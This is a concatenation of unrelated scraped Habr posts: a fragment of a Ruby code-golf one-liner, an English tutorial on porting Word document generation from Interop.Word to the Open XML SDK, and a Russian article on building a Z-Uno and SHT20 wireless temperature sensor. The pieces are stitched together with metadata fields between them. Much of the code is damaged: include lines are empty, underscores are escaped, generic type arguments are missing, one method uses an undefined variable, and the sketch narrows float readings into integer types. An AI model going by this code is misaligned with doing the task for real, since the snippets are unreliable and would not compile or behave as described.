$_='0';$F.permutation{|o|a=d='';o.map{|i|i[d]&&a+=d+i.sub(d,'')+' ';a[0][d=a[-2]]&&a>$_&&$_=a.chop}}
``` | https://habr.com/ru/post/246117/ | null | ru | null |
# Tutorial: how to port a project from Interop Word API to Open XML SDK
With the .NET5 release further development of some projects was questionable due to the complexity of porting. One can abandon small outdated libraries or find a replacement. But it's hard to throw away Microsoft.Office.Interop.Word.dll. Microsoft doesn't plan to add compatibility with .NET Core/5+, so in this article we focus on creating Word files with Open XML SDK.
### Introduction
Office Open XML aka OpenXML or OOXML, is an XML-based format for office documents. It includes text files, spreadsheets, presentations, as well as diagrams, shapes, and other graphic material. In June 2014 Microsoft released Open XML SDK source code on [GitHub](https://github.com/OfficeDev/Open-XML-SDK) to work with this format.
This library has impressive advantages:
* compatible with .NET 5+,
* does not require Microsoft Office installation,
* high-speed operation,
* open source code.
The disadvantages include:
* complex API,
* scant documentation.
The disadvantages definitely complement each other. Actually, it was the reason to create this article.
But the open source code was the big plus. If we had COM libraries' open source code, the developer community would help with porting to .NET Core/5+. Besides attracting third-party developers, open source code allows everyone to find and fix errors and vulnerabilities. Or at least to report them. The quality of open libraries is [crucial](https://pvs-studio.com/en/blog/posts/cpp/0762/) for all projects that can use them. For example, we conducted a small [audit](https://pvs-studio.com/en/blog/posts/csharp/0777/) of the Open XML SDK code when we first got acquainted with this library.
### Office developers' pain
Third-party developers created a lot of software for Office products. These are plugins for Word, Excel, Outlook. Many companies implemented themselves convenient plugins and report generators in Word format. On July 3, 2021 a terrible thing happened - Microsoft closed all the tickets on .NET 5+ in VSTO / COM support with a comment from its representatives:
> ...The VSTO/COM Add-Ins platform is very important to Microsoft, and we plan to continue to support it in Office with .NET Framework 4.8 as the last major version...VSTO/COM Add-Ins cannot be created with .NET Core and .NET 5+. This is because .NET Core/.NET 5+ cannot work together with .NET Framework in the same process and may lead to add-in load failures. Microsoft will not be updating VSTO or the COM Add-in platform to use .NET Core or .NET 5+...
>
>
According to their information, .NET 5+ support is not expected. Here's one of the discussions that hasn't stopped after the announcement: "[Please port Visual Studio Tools For Office (VSTO) to .NET 5/7, to enable VSTO add-in development in C# in .Net 5/7](https://developercommunity.visualstudio.com/t/Please-port-Visual-Studio-Tools-For-Offi/757925)".
The plugin developers were offered to switch to Office JavaScript API. This is a completely different language, where the API does not allow you to do even the smallest part of what it could do. However, one may switch to Open XML SDK ([nuget](https://www.nuget.org/packages/Open-XML-SDK)) library to create documents from C# code.
### The basics
Before we analyze examples, we should understand what these two libraries work with in general and what is the difference between their approaches.
A Word file is a set of boxed xml documents. All elements are structured by tags.
For example, a paragraph inside a document will look as follows:
```
test
```
The Interop.Word assembly provides higher abstraction level than this structure and often works with a part of the document - Range. However, Open XML SDK follows the path of reflecting the document's inner structure in the code itself. paragraphs, \* \*sections of text and everything else become objects in code. If you don't create the body of the document, the paragraph and other mandatory "parents", then there will be no place to insert text.
The screenshot shows the inner structure of the main file for a Word document - document.xml. The file contains the content of the document itself.
The screenshot was taken in the Open XML SDK 2.5 Productivity Tool which is necessary for working with Open XML. By the time of writing this article, Microsoft removed the utility from its website. And a link to [DocxToSource](https://github.com/rmboggs/DocxToSource) was added to the [Open-XML-SDK](https://github.com/OfficeDev/Open-XML-SDK) repository, which should be a replacement for the outdated Productivity Tool. However, this replacement is still a prototype, so for now it's better to find the good old Productivity Tool. The old utility allows you to view the structure of the document, get acquainted with the autogenerated code.
It also allows you to compare two different documents - both code for their creation and inner structure.
### Examples
In the entire article, we use this alias for Interop.Word for the sake of readability:
```
using MicrosoftWord = Microsoft.Office.Interop.Word;
```
Also, we will call the Open XML SDK simply Open XML.
#### How to create Word document
***Interop.Word:***
```
MicrosoftWord.Application wordApp = new MicrosoftWord.Application();
MicrosoftWord.Document wordDoc = wordApp.Documents.Add();
MicrosoftWord.Range docRange = wordDoc.Range();
.... // here we work with the document, if necessary
wordDoc.SaveAs2(pathToDocFile);
wordApp.Quit();
```
Everything is quite simple here, but there are also some pitfalls. When working with Interop we interact not just with some object in memory, but with a COM object. That's why we have to terminate all the processes after the program finishes working. This problem has been raised more than once on Stack Overflow ([1](https://stackoverflow.com/questions/158706/how-do-i-properly-clean-up-excel-interop-objects?page=1&tab=active),[2](https://stackoverflow.com/questions/25134024/clean-up-excel-interop-objects-with-idisposable/25135685)) and people proposed various solutions to it.
There is a solution with [Marshal Class](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal?view=net-5.0), which is a part of InteropServices.
```
finally
{
if (Marshal.IsComObject(wordDoc))
try
{
Marshal.FinalReleaseComObject(wordDoc);
}
catch { throw; }
if (Marshal.IsComObject(wordApp))
try
{
Marshal.FinalReleaseComObject(wordApp);
}
catch { throw; }
}
```
However, in this case we may miss some processes.
A more reliable option with a [GC](https://docs.microsoft.com/en-us/dotnet/api/system.gc?view=net-5.0) call:
```
GC.Collect();
GC.WaitForPendingFinalizers();
```
These methods should be called after all work with COM objects is finished.
If we don't stop the processes, we can cause this situation when debugging:
But even if the code fragment contained termination of processes after it finishes work, some of them would remain running after manual interruption or crash. There is no such drawback when we work with a document via Open XML.
***Open XML:***
```
using (WordprocessingDocument doc =
WordprocessingDocument.Create(pathToDocFile,
WordprocessingDocumentType.Document,
true))
{
MainDocumentPart mainPart = doc.AddMainDocumentPart();
mainPart.Document = new Document();
Body body = mainPart.Document.AppendChild(new Body());
SectionProperties props = new SectionProperties();
body.AppendChild(props);
}
```
Pay attention to the addition of *SectionProperties*, we will need them later.
#### Insert a new paragraph to Word
***Interop.Word***
```
public static void InsertWordText(MicrosoftWord.Document doc,
string text)
{
MicrosoftWord.Paragraph paragraph = doc.Paragraphs.Add(Missing.Value);
paragraph.Range.Text = text;
paragraph.Range.InsertParagraphAfter();
}
```
We can also make text bold or italic with the *Font* parameter:
```
paragraph.Range.Font.Bold = 1;
paragraph.Range.Font.Italic = 1;
```
We can change the font size with:
```
paragraph.Range.Font.Size = 14;
```
Text alignment is performed via *ParagraphFormat.Alignment*:
```
paragraph.Range.ParagraphFormat.Alignment = MicrosoftWord.WdParagraphAlignment
.wdAlignParagraphCenter;
```
***Open XML:***
```
public static void AddText(WordprocessingDocument doc, string text)
{
MainDocumentPart mainPart = doc.MainDocumentPart;
Body body = mainPart.Document.Body;
Paragraph paragraph = body.AppendChild(new Paragraph());
Run run = paragraph.AppendChild(new Run());
run.AppendChild(new Text(text));
run.PrependChild(new RunProperties());
}
```
With Open XML we can make text bold or italic this way:
```
run.RunProperties.AddChild(new Bold());
run.RunProperties.AddChild(new Italic());
```
Changing the font size is a bit unintuitive, but it corresponds with the general logic of working with Open XML:
```
run.RunProperties.AddChild(new FontSize(){ Val = "14"});
```
Text alignment:
```
paragraph.ParagraphProperties.AddChild(new Justification()
{
Val = JustificationValues.Center
});
```
Don't forget to add properties to the paragraph:
```
paragraph.AppendChild(new ParagraphProperties());
```
#### Insert header to Word
Let's assume that we need to insert a header in the document. In the case of Interop.Word we only need a small addition to text insertion to get a header:
***Interop.Word:***
```
public static void InsertWordHeading1(MicrosoftWord.Document doc,
string headingText)
{
MicrosoftWord.Paragraph paragraph = doc.Paragraphs.Add(Missing.Value);
paragraph.Range.Text = headingText;
paragraph.Range.set_Style("Heading 1");
paragraph.Range.InsertParagraphAfter();
}
```
In this case, first we set the Range for writing the new text and assign it the \*Heading 1 \*style.
***Open XML:***
```
public static void InsertWordHeading1(WordprocessingDocument doc,
string headingText)
{
MainDocumentPart mainPart = doc.MainDocumentPart;
Paragraph para = mainPart.Document.Body.AppendChild(new Paragraph());
Run run = para.AppendChild(new Run());
run.AppendChild(new Text(headingText));
para.ParagraphProperties = new ParagraphProperties(
new ParagraphStyleId() { Val = "Heading1" });
}
```
Here everything seems similar. We add a paragraph and in the case of Open XML we set the necessary hierarchy of objects.
However, in the case of Open XML, adding a style turns out to be insidious. Interop.Word works with a real complete document as if you ran Word and clicked create. But Open XML only works with what was created. And if you add text to a document which was created via Open XML and not via Interop.Word, it will lack styles, for example. Accordingly, there is no *Heading1* style in this document. We need to add it first.
It is more convenient to add the needed style when we create the document. There are two options: to port ready-made styles from the Word document or add them manually.
In the first case, we have to apply the needed style in the document from which the style will be taken. The porting itself requires a lot of code. Fortunately, the [manual on this topic](https://docs.microsoft.com/en-us/office/open-xml/how-to-replace-the-styles-parts-in-a-word-processing-document) is available in the documentation.
Productivity Tool for Open XML will help us with the second option. To get the code needed to add the desired style, we create a blank Word document, apply the desired style to it and then "feed" it to the utility. Next, we use the Reflect Code button on /word/styles.xml in the document structure and get the implementation of the *GeneratePartContent* method. In this method we are looking for the implementation of the desired style and everything connected to it. This includes *StyleParagraphProperties*, *StyleRunProperties*, etc.
For *Heading1* style the generated code looks like this:
```
Style style2 = new Style() { Type = StyleValues.Paragraph,
StyleId = "Heading1" };
StyleName styleName2 = new StyleName(){ Val = "heading 1" };
....
style2.Append(styleRunProperties1);
```
To add the ported style to the generated document, we need to create a set of Styles and add the style. Next, we need to add *StyleDefinitionsPart* to the document and assign the style group. It looks like this:
```
var styles = new Styles();
styles.Append(style2);
wordDocument.MainDocumentPart.AddNewPart();
wordDocument.MainDocumentPart.StyleDefinitionsPart.Styles = styles;
```
Here, we decided to use the template document option. In the future, when we need a style, we'll just use it in the template document and work with it in code. It is easier than digging into ProductivityTool every time and copying lots of code with the declaration of the style we need.
#### Change the orientation of a page in Word
For our report we needed a landscape page layout.
***Interop.Word:***
```
MicrosoftWord.Document wordDoc = wordApp.Documents.Add();
MicrosoftWord.Range docRange = wordDoc.Range();
docRange.PageSetup.Orientation = MicrosoftWord.WdOrientation
.wdOrientLandscape;
```
We get the desired Range from the document and set the landscape orientation.
***Open XML:***
```
var sectionProperties = mainPart.Document
.Body
.GetFirstChild();
sectionProperties.AddChild(new PageSize()
{
Width = (UInt32Value)15840U,
Height = (UInt32Value)12240U,
Orient = PageOrientationValues.Landscape
});
```
With Open XML, in this case everything is not as abstract as we wanted. If we initialize only the *Orient* field in *PageSize*, nothing changes. We must also change *Width* and *Height*.
Additionally, the landscape orientation usually has different margins, so if you have requirements for them, you can fix it this way:
```
sectionProperties.AddChild(new PageMargin()
{
Top = 720,
Right = Convert.ToUInt32(1440.0),
Bottom = 360,
Left = Convert.ToUInt32(1440.0),
Header = (UInt32Value)450U,
Footer = (UInt32Value)720U,
Gutter = (UInt32Value)0U
});
```
#### Insert hyperlink to Word
***Interop.Word:***
```
public static void AddHyperlinkedText(MicrosoftWord.Document doc,
string text,
string url)
{
MicrosoftWord.Range wrdRng = doc.Bookmarks
.get_Item("\\endofdoc")
.Range;
doc.Hyperlinks.Add(wrdRng, url, TextToDisplay: text);
}
```
Everything is simple here: we get the desired Range and add a hyperlink. The [Add](https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.word.hyperlinks.add?view=word-pia) method has many parameters, and we can create a more complex link.
***Open XML:***
```
public static void AddHyperlinkedText(WordprocessingDocument doc,
string text,
string url)
{
MainDocumentPart mainPart = doc.MainDocumentPart;
Body body = mainPart.Document.Body;
Paragraph paragraph = body.AppendChild(new Paragraph());
var rel = mainPart.AddHyperlinkRelationship(new Uri(url), true);
Hyperlink hyperlink = new Hyperlink(new Run(
new RunProperties(
new RunStyle
{
Val = "Hyperlink",
},
new Underline
{
Val = UnderlineValues.Single
},
new Color
{
ThemeColor = ThemeColorValues.Hyperlink
}),
new Text
{
Text = text
}))
{
Id = rel.Id
};
paragraph.AppendChild(hyperlink);
}
```
Significant differences: we must wrap a *url* into *Uri* and connect the *url* with the hyperlink via *AddHyperlinkRelationship*. First, we create the relationship between the link, wrapped in *Uri* class, and the document itself. After that, when creating an object of the *Hyperlink* class, we assign the *rel.Id* value to its *Id* field.
#### Insert a picture to Word
***Interop.Word:***
```
public static void InsertWordPicture(MicrosoftWord.Document doc,
string picturePath)
{
MicrosoftWord.Range wrdRng = doc.Bookmarks.get_Item("\\endofdoc")
.Range;
wrdRng.InlineShapes.AddPicture(picturePath);
}
```
This example doesn't look complicated, right? But it gets harder with Open XML.
***Open XML:***
To insert a picture, we need to comply with a complex hierarchy of objects with certain parameters. Good thing we have [documentation on this case](https://docs.microsoft.com/en-us/office/open-xml/how-to-insert-a-picture-into-a-word-processing-document). Therefore, we skip the code needed to insert a picture in this article. Let's analyze another moment that wasn't mentioned in the documentation. You can notice that the size of the image was not passed anywhere in that code. Its size is set as follows:
```
new DW.Extent() { Cx = 990000L, Cy = 792000L }
```
and here
```
new A.Extents() { Cx = 990000L, Cy = 792000L }
```
If we use this code, it inserts a tiny image instead of a normal-sized one. The image's real size doesn't change in any way. But when displayed, it will be scaled to this size:
That's because the scale of the displayed image here is tied to [EMU](https://en.wikipedia.org/wiki/Office_Open_XML_file_formats) (English Metric Units).
In order to pass the usual pixel dimensions to the image insertion method, we need the following transformation:
```
double englishMetricUnitsPerInch = 914400;
double pixelsPerInch = 96;
double englishMetricUnitsPerPixel = englishMetricUnitsPerInch / pixelsPerInch;
double emuWidth = width * englishMetricUnitsPerPixel;
double emuHeight = height * englishMetricUnitsPerPixel;
```
Here we get the number of EMUs per pixel, taking the PPI value as 96. Then we multiply the resulting value by the desired number of pixels for width and height. As a result, we get the desired width and height in EMU. And we pass them as *Cx* and *Cy* to Extent and Extents.
```
Cx = (Int64Value)emuWidth, Cy = (Int64Value)emuHeight
```
#### Insert a table to Word
***Interop.Word:***
Table generation via Interop.Word is quite straightforward. Let's analyze an example of how we can insert a table from a square matrix of strings.
```
public static void InsertWordTable(MicrosoftWord.Document doc,
string[,] table)
{
MicrosoftWord.Table oTable;
MicrosoftWord.Range wrdRng = doc.Bookmarks
.get_Item("\\endofdoc")
.Range;
int rowCount = table.GetLength(0);
int columnCount = table.GetLength(1);
oTable = doc.Tables.Add(wrdRng,
rowCount,
columnCount,
DefaultTableBehavior: MicrosoftWord.WdDefaultTableBehavior
.wdWord9TableBehavior,
AutoFitBehavior: MicrosoftWord.WdAutoFitBehavior
.wdAutoFitWindow);
for (int i = 0; i < rowCount; i++)
for (int j = 0; j < columnCount; j++)
oTable.Cell(i + 1, j + 1).Range.Text = table[i,j];
}
```
Parameters of the *Add* method - *DefaultTableBehavior* and *AutoFitBehavior* - are responsible for auto-fitting cell size to contents. They are assigned the values of the [WdDefaultTableBehavior](https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.word.wddefaulttablebehavior?view=word-pia) and [WdAutoFitBehavior](https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.word.wdautofitbehavior?view=word-pia) enumerators, respectively. The Add method itself creates a table in the document with the desired parameters.
The style to the table can be applied the following way:
```
oTable.set_Style("Grid Table 4 - Accent 1");
```
Also, if you want a nice highlight of the first column, you can assign *true* to the *oTable.ApplyStyleFirstColumn* field.
\*oTable.Range.ParagraphFormat.SpaceAfter \*controls the spacing between paragraphs. For a compact table display you can use
```
oTable.Range.ParagraphFormat.SpaceAfter = 0;
```
You can also assign text style to rows or columns:
```
oTable.Rows[1].Range.Font.Bold = 1;
oTable.Column[1].Range.Font.Italic = 1;
```
Using these features, you can get this table:
***Open XML:***
```
public static void InsertWordTable(WordprocessingDocument doc,
string[,] table)
{
DocumentFormat.OpenXml.Wordprocessing.Table dTable =
new DocumentFormat.OpenXml.Wordprocessing.Table();
TableProperties props = new TableProperties();
dTable.AppendChild(props);
for (int i = 0; i < table.GetLength(0); i++)
{
var tr = new TableRow();
for (int j = 0; j < table.GetLength(1); j++)
{
var tc = new TableCell();
tc.Append(new Paragraph(new Run(new Text(table[i, j]))));
tc.Append(new TableCellProperties());
tr.Append(tc);
}
dTable.Append(tr);
}
doc.MainDocumentPart.Document.Body.Append(dTable);
}
```
When creating a table from scratch with Open XML, remember that no cells or rows exist when you start entering data. We must create them first, following the inner hierarchy.
Therefore, when traversing the matrix, we create *TableRow* for each element. Then for every new element in the line we create *TableCell*, where we add the new *Paragraph*, *Run* and *Text* with the corresponding matrix value. It's also better to add *TableCellProperties* immediately. Otherwise later, when working with the table, you'll get a *System.NullReferenceException* when trying to add a property to the cell.
If we don't set any style or Borders in *TableProperties*, the table will look like this:
*TableBorders* form the table borders.
```
var borderValues = new EnumValue(BorderValues.Single);
var tableBorders = new TableBorders(
new TopBorder { Val = borderValues, Size = 4 },
new BottomBorder { Val = borderValues, Size = 4 },
new LeftBorder { Val = borderValues, Size = 4 },
new RightBorder { Val = borderValues, Size = 4 },
new InsideHorizontalBorder { Val= borderValues, Size = 4 },
new InsideVerticalBorder { Val= borderValues, Size = 4 }));
```
The [BorderValues](https://docs.microsoft.com/en-us/dotnet/api/documentformat.openxml.vml.wordprocessing.bordervalues?view=openxml-2.8.1) enumeration here sets the border style.
We need to add\* TableBorders to TableProperties \*via
```
props.Append(tableBorders);
```
If we set a style to the table, we may not set the table borders. But don't forget to add the style to the document.
The style is set quite simply:
```
TableStyle tableStyle = new TableStyle()
{
Val = "GridTable4-Accent5"
};
```
It should be added to *TableProperties* the same way as the borders:
```
props.Append(tableStyle);
```
In order to extend the table for the entire page width, use *TableWidth* set as follows:
```
var tableWidth = new TableWidth()
{
Width = "5000",
Type = TableWidthUnitValues.Pct
};
```
We didn't take the 5000 value out of nowhere. We set the type of the width unit via *TableWidthUnitValues.Pct*–the width unit of 1/50 of the percent or 0,02%. As a result, 5000 Pct is 100% of the page width.
This parameter is added to *TableProperties* in a similar way:
```
props.Append(tableWidth);
```
Note: *TableProperties* should be added to the table before the data itself. This way *TableProperties* will work correctly. You can add it after other objects, but it this case you should use
```
dTable.PrependChild(props);
```
#### Table coloring
To form our report, we needed to color the cells in some document tables.
***Interop.Word:***
```
oTable.Cell(i, j).Range.Shading.BackgroundPatternColor = MicrosoftWord.WdColor
.wdColorRed;
```
where *oTable* is the previously made table, *i* and *j* are indexes of the desired cell.
The assigned value is the [WdColor](https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.word.wdcolor?view=word-pia) enumeration.
***Open XML:***
```
tc.Append(new TableCellProperties(
new Shading { Fill = "FF0000" }));
```
where *tc* is *TableCell* that we work with. The *Fill* field is assigned a string with the Hex color value.
#### Insert page break to Word
In our case, the report is generated step-by-step. That's why we had to insert the page break after the last added text.
***Interop.Word:***
```
public static void InsertWordBreak(MicrosoftWord.Document doc)
{
MicrosoftWord.Range wrdRng = doc.Bookmarks.get_Item("\\endofdoc")
.Range;
wrdRng.InsertBreak();
}
```
***Open XML:***
```
public static void InsertWordBreak(WordprocessingDocument doc)
{
MainDocumentPart mainPart = doc.MainDocumentPart;
mainPart.Document.Body.InsertAfter(new Paragraph(
new Run(
new Break()
{
Type = BreakValues.Page
})),
mainPart.Document.Body.LastChild);
}
```
The break type in changed via the [BreakValues](https://docs.microsoft.com/en-us/dotnet/api/documentformat.openxml.wordprocessing.breakvalues?view=openxml-2.8.1) enumeration.
#### Insert a footer/header to Word
We also needed footers/headers in the document.
***Interop.Word:***
```
public static void InsertWordFooter(
MicrosoftWord.Document doc,
string headerText)
{
MicrosoftWord.Range headerRange = doc.Sections
.Last
.Headers[MicrosoftWord.WdHeaderFooterIndex
.wdHeaderFooterPrimary]
.Range;
headerRange.Fields.Add(headerRange, MicrosoftWord.WdFieldType.wdFieldPage);
headerRange.Text = headerText;
}
```
We can change the text parameters - size, font, color, etc - via \*headerRange.Font. \*As you might guess, *headerRange.ParagraphFormat.Alignment* sets the text alignment. This field takes the values of [WdParagraphAlignment](https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.word.wdparagraphalignment?view=word-pia).
***Open XML:***
The problem here is that the footer/header itself is stored in a separate .xml file. That's why we need to link footer/header to the document content via [SectionProperties](https://docs.microsoft.com/en-us/dotnet/api/documentformat.openxml.wordprocessing.sectionproperties?view=openxml-2.8.1).
```
static void InsertWordHeader(HeaderPart part,
string headerText)
{
MainDocumentPart mainPart = doc.MainDocumentPart;
if (mainPart.HeaderParts.Any())
return;
HeaderPart headerPart = mainPart.AddNewPart();
string headerPartId = mainPart.GetIdOfPart(headerPart);
part.Header = new Header(
new Paragraph(
new ParagraphProperties(
new ParagraphStyleId() { Val = "Header" }),
new Run( new Text() { Text = headerText })));
var sectionProperties = mainPart.Document
.Body
.GetFirstChild();
sectionProperties.PrependChild(new HeaderReference()
{
Id = headerPartId
});
}
```
If you want the text to be overwritten with a new one when calling the header addition method, then instead of
```
if (mainPart.HeaderParts.Any())
return;
```
you can use
```
mainDocumentPart.DeleteParts(mainDocumentPart.HeaderParts);
```
For the footer, we need to pass *mainDocumentPart.FooterParts*.
### Conclusion
We compiled all these methods for Open XML SDK into a class library for internal use. Creating Word documents became even more convenient than it was with Word Interop API.
Here one might ask a question: is there any ready-made libraries based on Open XML SDK for simplified work with the documents? The answer is definitely yes. But unfortunately, developers rapidly stop the maintenance of such libraries. Stories of creating such projects are the same. Developers start working with Word and realize the inconvenience of the existing infrastructure. They modify it and post some libraries on GitHub. Even if we're lucky to find a fresh version of such a library, someone might have adapted it for certain project's objectives. It will probably be inconvenient to use in your project. Plus, there's a risk of being left with a library that is not maintained. | https://habr.com/ru/post/573860/ | null | en | null |
# Еще один беспроводной датчик температуры и влажности. Z-Wave плата Z-Uno + Sensirion SHT20
Как положено порядочному гигу у меня есть метеостанция, которую я собрал сам из DHT22, Raspberry Pi и экранчика Nokia, это решение на постоянном питании, передающее данные по Ethernet.
Но теперь мне понадобилась мобильная метеостанция на балкон беспроводная и на батарейках.
В качестве радио модуля я использовал Z-Wave плату Z-Uno, в качестве датчика температуры и влажности решил попробовать Sensirion SHT20 работающий по I2C.
Материалы и цены:
| | | | |
| --- | --- | --- | --- |
| № | Материал | Магазин | Цена |
| 1 | Z-Wave плата Z-Uno | [5smart.ru](http://www.5smart.ru/collection/diy/product/z-uno-2) | 3500 р |
| 2 | Датчик Sensirion SHT20 | [voltmaster.ru](http://voltmaster.ru/cgi-bin/qwery.pl/id=ms403-SHT20) | 72 р |
| 3 | Корпус Gainta G517B | [voltmaster.ru](http://voltmaster.ru/cgi-bin/qwery.pl/id=988189337) | 160 р |
| 4 | Батарейный отсек BH421 2xAAA | [voltmaster.ru](http://voltmaster.ru/cgi-bin/qwery.pl/id=2010114971) | 14 р |
[Z-Uno](http://z-uno.z-wave.me/) постоянно обновляется, добавляется поддержка новой периферии и библиотеки. На данный момент актуальная версия прошивки 2.0.9 и в ней появилась поддержка следующих устройств:
* 1-Wire DS18B20 temperature sensor
* DHT22 && DHT11 temperature and humidity sensor
* 125Khz RFID card reader
* I2C BMP180 pressure and temperature sensor
* и другие устройства, примеры здесь [z-uno.z-wave.me/examples](http://z-uno.z-wave.me/examples/)
Датчика Sensirion SHT20, работающего по I2C шине в списке поддерживаемых не оказалось, поэтому пришлось написать свою реализацию для Z-Uno. Синтаксис скетча под Z-Uno максимально похож на Arduino, весь скетч уместился в 35 строк:
**Скетч для Z-Uno по работе с датчиком температуры и влажности Sensirion SHT20**
```
#include
#include "SHT2x.h"
int16\_t temperature;
uint8\_t humidity;
ZUNO\_SETUP\_SLEEPING\_MODE(ZUNO\_SLEEPING\_MODE\_SLEEPING);
#define ZUNO\_CHANNEL\_TEMPERATURE 1
#define ZUNO\_CHANNEL\_HUMIDITY 2
ZUNO\_SETUP\_CHANNELS(
ZUNO\_SENSOR\_MULTILEVEL\_TEMPERATURE(getterTemp),
ZUNO\_SENSOR\_MULTILEVEL\_HUMIDITY(getterHumid)
);
void setup() {
Wire.begin();
}
void loop() {
temperature = SHT2x.GetTemperature();
zunoSendReport(ZUNO\_CHANNEL\_TEMPERATURE);
humidity = SHT2x.GetHumidity();
zunoSendReport(ZUNO\_CHANNEL\_HUMIDITY);
zunoSendDeviceToSleep();
}
byte getterTemp(void) {
return temperature;
}
byte getterHumid(void) {
return humidity;
}
```
**SHT2x.cpp доработанный для Z-Uno**
```
/*
SHT2x - A Humidity Library for Arduino.
Supported Sensor modules:
SHT21-Breakout Module - http://www.moderndevice.com/products/sht21-humidity-sensor
SHT2x-Breakout Module - http://www.misenso.com/products/001
Created by Christopher Ladden at Modern Device on December 2009.
Modified by Paul Badger March 2010
Modified by www.misenso.com on October 2011:
- code optimisation
- compatibility with Arduino 1.0
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
//#include
#include
#include "Arduino.h"
#include "SHT2x.h"
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Global Functions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* GetHumidity
\* Gets the current humidity from the sensor.
\*
\* @return float - The relative humidity in %RH
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
float SHT2xClass::GetHumidity(void)
{
return (-6.0 + 125.0 / 65536.0 \* (float)(readSensor(eRHumidityNoHoldCmd)));
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* GetTemperature
\* Gets the current temperature from the sensor.
\*
\* @return float - The temperature in Deg C
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
float SHT2xClass::GetTemperature(void)
{
return (-46.85 + 175.72 / 65536.0 \* (float)(readSensor(eTempNoHoldCmd)));
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Private Functions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
uint16\_t SHT2xClass::readSensor(uint8\_t command)
{
uint16\_t result = 0 ;
uint8\_t data[2];
// Sending request to sensor
Wire.beginTransmission(eSHT2xAddress); // We have to read some registers from sensor
Wire.write(command); // Command
Wire.endTransmission();
delay(100);
Wire.requestFrom(eSHT2xAddress, 3); //Get 3 bytes
byte i = 0;
while(Wire.available()) {
data[i++] = Wire.read();
}
result = data[0] << 8;
result += data[1];
result &= ~0x0003; // clear two low bits (status bits)
return result;
}
SHT2xClass SHT2x;
```
**SHT2x.h**
```
/*
SHT2x - A Humidity Library for Arduino.
Supported Sensor modules:
SHT21-Breakout Module - http://www.moderndevice.com/products/sht21-humidity-sensor
SHT2x-Breakout Module - http://www.misenso.com/products/001
Created by Christopher Ladden at Modern Device on December 2009.
Modified by www.misenso.com on October 2011:
- code optimisation
- compatibility with Arduino 1.0
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef SHT2X_H
#define SHT2X_H
//#include
typedef enum {
eSHT2xAddress = 0x40,
} HUM\_SENSOR\_T;
typedef enum {
eTempHoldCmd = 0xE3,
eRHumidityHoldCmd = 0xE5,
eTempNoHoldCmd = 0xF3,
eRHumidityNoHoldCmd = 0xF5,
} HUM\_MEASUREMENT\_CMD\_T;
class SHT2xClass
{
private:
uint16\_t readSensor(uint8\_t command);
uint8\_t \_data;
public:
SHT2xClass(){};
float GetHumidity(void);
float GetTemperature(void);
};
extern SHT2xClass SHT2x;
#endif
```
Из особенных вещей, в скетче присутствует только строчка переводящая Z-Uno в спящий режим:
```
ZUNO_SETUP_SLEEPING_MODE(ZUNO_SLEEPING_MODE_SLEEPING);
```
И настройка, в какой канал отправлять температуру, а в какой влажность:
```
ZUNO_SETUP_CHANNELS(
ZUNO_SENSOR_MULTILEVEL_TEMPERATURE(getterTemp),
ZUNO_SENSOR_MULTILEVEL_HUMIDITY(getterHumid)
);
```
В остальном обычный Arduino код.
